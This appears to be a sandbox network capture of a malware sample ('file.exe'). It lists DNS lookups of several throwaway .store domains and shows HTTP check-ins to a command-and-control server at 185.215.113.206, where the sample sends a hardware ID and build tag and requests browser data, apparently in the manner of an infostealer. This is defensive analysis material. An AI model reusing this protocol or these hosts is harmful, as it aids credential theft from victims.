Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 19:52:04.882405996 CET	192.168.2.5	1.1.1.1	0x7707	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:04.882668972 CET	192.168.2.5	1.1.1.1	0xf03a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:07.999334097 CET	192.168.2.5	1.1.1.1	0xb456	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:07.999478102 CET	192.168.2.5	1.1.1.1	0x91b9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:08.988137960 CET	192.168.2.5	1.1.1.1	0xa183	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:08.988305092 CET	192.168.2.5	1.1.1.1	0xa934	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:16.137964964 CET	192.168.2.5	1.1.1.1	0x2e70	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:16.138499022 CET	192.168.2.5	1.1.1.1	0xcd52	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:18.219275951 CET	192.168.2.5	1.1.1.1	0xfdf2	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:18.219793081 CET	192.168.2.5	1.1.1.1	0xd9e7	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 11, 2024 19:52:18.997934103 CET	192.168.2.5	1.1.1.1	0xc301	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:18.998245001 CET	192.168.2.5	1.1.1.1	0xac65	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:19.011524916 CET	192.168.2.5	1.1.1.1	0x5cbe	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.011657000 CET	192.168.2.5	1.1.1.1	0xaf2f	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:19.015614986 CET	192.168.2.5	1.1.1.1	0x7001	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.015786886 CET	192.168.2.5	1.1.1.1	0xc2a5	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:19.028249979 CET	192.168.2.5	1.1.1.1	0x62d0	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.028451920 CET	192.168.2.5	1.1.1.1	0x9fba	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:19.985707045 CET	192.168.2.5	1.1.1.1	0xa784	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.985707045 CET	192.168.2.5	1.1.1.1	0xf0a2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:20.913659096 CET	192.168.2.5	1.1.1.1	0x8ee9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.913954020 CET	192.168.2.5	1.1.1.1	0x2cb7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:20.914613008 CET	192.168.2.5	1.1.1.1	0x6bec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.914764881 CET	192.168.2.5	1.1.1.1	0x9894	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:52:21.021787882 CET	192.168.2.5	1.1.1.1	0xee03	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:21.022078991 CET	192.168.2.5	1.1.1.1	0x7841	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:53:11.258542061 CET	192.168.2.5	1.1.1.1	0x4370	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.284490108 CET	192.168.2.5	1.1.1.1	0x535e	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.319572926 CET	192.168.2.5	1.1.1.1	0x7781	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.344150066 CET	192.168.2.5	1.1.1.1	0xc16	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.379123926 CET	192.168.2.5	1.1.1.1	0xaa0f	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.404798985 CET	192.168.2.5	1.1.1.1	0xc376	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.429948092 CET	192.168.2.5	1.1.1.1	0xccce	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.470648050 CET	192.168.2.5	1.1.1.1	0x83b7	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.494702101 CET	192.168.2.5	1.1.1.1	0xa00b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:12.620491982 CET	192.168.2.5	1.1.1.1	0xc4f1	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:20.867944956 CET	192.168.2.5	1.1.1.1	0x6ddb	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:20.871097088 CET	192.168.2.5	1.1.1.1	0xc530	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 11, 2024 19:53:21.273493052 CET	192.168.2.5	1.1.1.1	0xc5e6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.273767948 CET	192.168.2.5	1.1.1.1	0x7929	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:53:21.276376963 CET	192.168.2.5	1.1.1.1	0x2f06	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.276544094 CET	192.168.2.5	1.1.1.1	0x9007	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:53:21.277647972 CET	192.168.2.5	1.1.1.1	0x6604	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.277764082 CET	192.168.2.5	1.1.1.1	0xb86	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 19:53:24.536608934 CET	192.168.2.5	1.1.1.1	0x173d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.563158035 CET	192.168.2.5	1.1.1.1	0x7f24	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.591784000 CET	192.168.2.5	1.1.1.1	0xc08a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.619292021 CET	192.168.2.5	1.1.1.1	0x920c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.644222975 CET	192.168.2.5	1.1.1.1	0x5773	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.668365002 CET	192.168.2.5	1.1.1.1	0x6e75	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.698658943 CET	192.168.2.5	1.1.1.1	0xe28d	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.730874062 CET	192.168.2.5	1.1.1.1	0xc161	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.767187119 CET	192.168.2.5	1.1.1.1	0x2103	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.765954971 CET	192.168.2.5	1.1.1.1	0x86ae	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.791677952 CET	192.168.2.5	1.1.1.1	0xb3f6	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.816687107 CET	192.168.2.5	1.1.1.1	0x76ef	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.840089083 CET	192.168.2.5	1.1.1.1	0x12b5	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.864996910 CET	192.168.2.5	1.1.1.1	0x8fd9	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.889060974 CET	192.168.2.5	1.1.1.1	0xd6fe	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.913398981 CET	192.168.2.5	1.1.1.1	0x40b	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.940433979 CET	192.168.2.5	1.1.1.1	0xad77	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.964970112 CET	192.168.2.5	1.1.1.1	0xee32	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 19:52:04.889349937 CET	1.1.1.1	192.168.2.5	0x7707	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:04.892028093 CET	1.1.1.1	192.168.2.5	0xf03a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 11, 2024 19:52:08.006109953 CET	1.1.1.1	192.168.2.5	0xb456	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:08.006109953 CET	1.1.1.1	192.168.2.5	0xb456	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:08.006160021 CET	1.1.1.1	192.168.2.5	0x91b9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:08.995260000 CET	1.1.1.1	192.168.2.5	0xa183	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:16.144515038 CET	1.1.1.1	192.168.2.5	0x2e70	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:16.146321058 CET	1.1.1.1	192.168.2.5	0xcd52	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:16.247483015 CET	1.1.1.1	192.168.2.5	0xaee8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:16.247483015 CET	1.1.1.1	192.168.2.5	0xaee8	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:16.248433113 CET	1.1.1.1	192.168.2.5	0xe419	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:18.227375984 CET	1.1.1.1	192.168.2.5	0xd9e7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:18.235797882 CET	1.1.1.1	192.168.2.5	0xfdf2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.007672071 CET	1.1.1.1	192.168.2.5	0xc301	No error (0)	sb.scorecardresearch.com		18.65.39.28	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.007672071 CET	1.1.1.1	192.168.2.5	0xc301	No error (0)	sb.scorecardresearch.com		18.65.39.29	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.007672071 CET	1.1.1.1	192.168.2.5	0xc301	No error (0)	sb.scorecardresearch.com		18.65.39.70	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.007672071 CET	1.1.1.1	192.168.2.5	0xc301	No error (0)	sb.scorecardresearch.com		18.65.39.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:19.018841982 CET	1.1.1.1	192.168.2.5	0xaf2f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.018903017 CET	1.1.1.1	192.168.2.5	0x5cbe	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.022483110 CET	1.1.1.1	192.168.2.5	0x7001	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.023947001 CET	1.1.1.1	192.168.2.5	0xc2a5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.035960913 CET	1.1.1.1	192.168.2.5	0x62d0	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:19.036144972 CET	1.1.1.1	192.168.2.5	0x9fba	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:20.022409916 CET	1.1.1.1	192.168.2.5	0xa784	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:20.022409916 CET	1.1.1.1	192.168.2.5	0xa784	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.022425890 CET	1.1.1.1	192.168.2.5	0xf0a2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:52:20.920772076 CET	1.1.1.1	192.168.2.5	0x8ee9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.920772076 CET	1.1.1.1	192.168.2.5	0x8ee9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.920784950 CET	1.1.1.1	192.168.2.5	0x2cb7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:52:20.921380997 CET	1.1.1.1	192.168.2.5	0x6bec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.921380997 CET	1.1.1.1	192.168.2.5	0x6bec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:20.921638966 CET	1.1.1.1	192.168.2.5	0x9894	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:52:21.028410912 CET	1.1.1.1	192.168.2.5	0xee03	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:21.028410912 CET	1.1.1.1	192.168.2.5	0xee03	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:52:21.029078960 CET	1.1.1.1	192.168.2.5	0x7841	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:52:21.198725939 CET	1.1.1.1	192.168.2.5	0x713f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:53:11.282072067 CET	1.1.1.1	192.168.2.5	0x4370	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.318120003 CET	1.1.1.1	192.168.2.5	0x535e	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.343246937 CET	1.1.1.1	192.168.2.5	0x7781	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.376295090 CET	1.1.1.1	192.168.2.5	0xc16	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.402153969 CET	1.1.1.1	192.168.2.5	0xaa0f	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.427820921 CET	1.1.1.1	192.168.2.5	0xc376	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.453098059 CET	1.1.1.1	192.168.2.5	0xccce	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.493017912 CET	1.1.1.1	192.168.2.5	0x83b7	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:11.501748085 CET	1.1.1.1	192.168.2.5	0xa00b	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:12.659322977 CET	1.1.1.1	192.168.2.5	0xc4f1	No error (0)	marshal-zhukov.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:12.659322977 CET	1.1.1.1	192.168.2.5	0xc4f1	No error (0)	marshal-zhukov.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:20.875119925 CET	1.1.1.1	192.168.2.5	0x6ddb	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:53:20.878241062 CET	1.1.1.1	192.168.2.5	0xc530	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:53:21.280436993 CET	1.1.1.1	192.168.2.5	0xc5e6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.280436993 CET	1.1.1.1	192.168.2.5	0xc5e6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.280946970 CET	1.1.1.1	192.168.2.5	0x7929	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:53:21.283338070 CET	1.1.1.1	192.168.2.5	0x9007	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:53:21.283425093 CET	1.1.1.1	192.168.2.5	0x2f06	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.283425093 CET	1.1.1.1	192.168.2.5	0x2f06	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.284480095 CET	1.1.1.1	192.168.2.5	0x6604	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.284480095 CET	1.1.1.1	192.168.2.5	0x6604	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:21.284660101 CET	1.1.1.1	192.168.2.5	0xb86	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 19:53:24.560456991 CET	1.1.1.1	192.168.2.5	0x173d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.587693930 CET	1.1.1.1	192.168.2.5	0x7f24	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.614835978 CET	1.1.1.1	192.168.2.5	0xc08a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.642261982 CET	1.1.1.1	192.168.2.5	0x920c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.666393042 CET	1.1.1.1	192.168.2.5	0x5773	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.696332932 CET	1.1.1.1	192.168.2.5	0x6e75	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.728199959 CET	1.1.1.1	192.168.2.5	0xe28d	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.764983892 CET	1.1.1.1	192.168.2.5	0xc161	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:24.774652004 CET	1.1.1.1	192.168.2.5	0x2103	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.789167881 CET	1.1.1.1	192.168.2.5	0x86ae	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.814076900 CET	1.1.1.1	192.168.2.5	0xb3f6	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.838920116 CET	1.1.1.1	192.168.2.5	0x76ef	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.862728119 CET	1.1.1.1	192.168.2.5	0x12b5	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.888041973 CET	1.1.1.1	192.168.2.5	0x8fd9	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.911959887 CET	1.1.1.1	192.168.2.5	0xd6fe	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.936527014 CET	1.1.1.1	192.168.2.5	0x40b	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.963892937 CET	1.1.1.1	192.168.2.5	0xad77	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:53:48.971848011 CET	1.1.1.1	192.168.2.5	0xee32	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:51:59.201405048 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:51:59.842395067 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:51:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:51:59.845916986 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"mars------BGIDBKKKKKFBGDGDHIDB--
Nov 11, 2024 19:52:00.257210016 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:51:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 42 6b 4e 6d 4e 6b 59 54 6c 69 59 7a 4d 77 59 7a 49 35 4e 54 52 6d 5a 57 49 30 59 32 45 30 59 6a 64 6b 5a 44 4e 6a 4e 6a 55 7a 5a 6a 55 34 4d 6a 4a 6c 4d 44 49 34 4d 6a 4a 68 59 7a 52 68 4f 57 49 33 5a 6a 63 7a 4d 6a 42 69 4d 54 6c 6a 4d 6d 55 77 5a 47 4a 6a 5a 44 64 6d 4e 54 4a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjBkNmNkYTliYzMwYzI5NTRmZWI0Y2E0YjdkZDNjNjUzZjU4MjJlMDI4MjJhYzRhOWI3ZjczMjBiMTljMmUwZGJjZDdmNTJjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 11, 2024 19:52:00.259809017 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="message"browsers------AFHDBGHJKFIDHJJJEBKE--
